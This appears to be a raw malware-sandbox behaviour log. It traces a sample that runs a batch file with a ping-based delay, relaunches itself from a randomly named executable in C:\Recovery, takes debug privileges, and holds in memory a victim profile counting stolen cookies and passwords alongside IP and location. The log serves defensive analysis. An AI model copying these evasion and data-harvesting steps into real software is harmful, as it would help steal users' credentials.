Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 596248	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595986	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 594219	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 593375	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592938	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592672	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592313	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 592000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 591657	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 591391	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 591094	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 590813	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 590578	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 590172	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589813	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589662	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589471	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589344	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589157	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 589000	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588891	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588766	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588656	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588546	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Thread delayed: delay time: 588438	Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2985631731.000000001B2D0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe "C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe"	Jump to behavior

Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 0.1",5,1,"","user","093954","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Recovery","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002DAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.1",5,1,"","user","093954","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Recovery","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States of America","New York / New 8
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerX
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.1",5,1,"","user","093954","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Recovery","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States of America","New York / New York City"," / "]

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Queries volume information: C:\Users\user\Desktop\6G8OR42xrB.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
